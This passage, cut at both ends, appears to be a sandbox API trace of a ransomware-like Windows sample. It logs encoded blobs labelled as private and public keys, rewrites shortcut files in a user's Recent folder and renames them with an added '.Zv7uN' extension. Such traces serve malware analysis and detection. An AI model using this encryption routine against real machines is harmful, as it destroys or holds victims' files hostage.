6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0083.030] GetCurrentThreadId () returned 0xa30 [0083.030] GetCurrentThreadId () returned 0xa30 [0083.030] GetCurrentThreadId () returned 0xa30 [0083.031] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.031] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.031] GetCurrentThreadId () returned 0xa30 [0083.031] GetCurrentThreadId () returned 0xa30 [0083.031] GetCurrentThreadId () returned 0xa30 [0083.031] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\reeFNQzvLCz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\reefnqzvlcz.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.032] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.032] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.032] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x3f7 [0083.032] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.032] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x3f7, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x3f7, lpOverlapped=0x0) returned 1 [0083.033] CloseHandle (hObject=0x124) returned 1 [0083.033] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\reeFNQzvLCz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\reefnqzvlcz.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.034] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x3f7, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x3f7, lpOverlapped=0x0) returned 1 [0083.035] CloseHandle (hObject=0x124) returned 1 [0083.054] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\reeFNQzvLCz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\reefnqzvlcz.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\reeFNQzvLCz.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\reefnqzvlcz.lnk.zv7un")) returned 1 [0083.055] GetCurrentThreadId () returned 0xa30 [0083.055] GetCurrentThreadId () returned 0xa30 [0083.055] GetCurrentThreadId () returned 0xa30 [0083.055] GetCurrentThreadId () returned 0xa30 [0083.055] GetCurrentThreadId () returned 0xa30 [0083.055] GetCurrentThreadId () returned 0xa30 [0083.055] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2aa1f00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2aa1f00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2aa1f00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Rkv tdZAdg61X2zGJw.lnk", cAlternateFileName="RKVTDZ~1.LNK")) returned 1 [0083.055] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.055] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.055] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Rkv tdZAdg61X2zGJw.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rkv tdzadg61x2zgjw.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2aa1f00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2aa1f00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2aa1f00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xed4)) returned 1 [0083.055] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Rkv tdZAdg61X2zGJw.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rkv tdzadg61x2zgjw.lnk")) returned 0x20 [0083.055] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Rkv tdZAdg61X2zGJw.lnk", dwFileAttributes=0x80) returned 1 [0083.058] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.058] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOe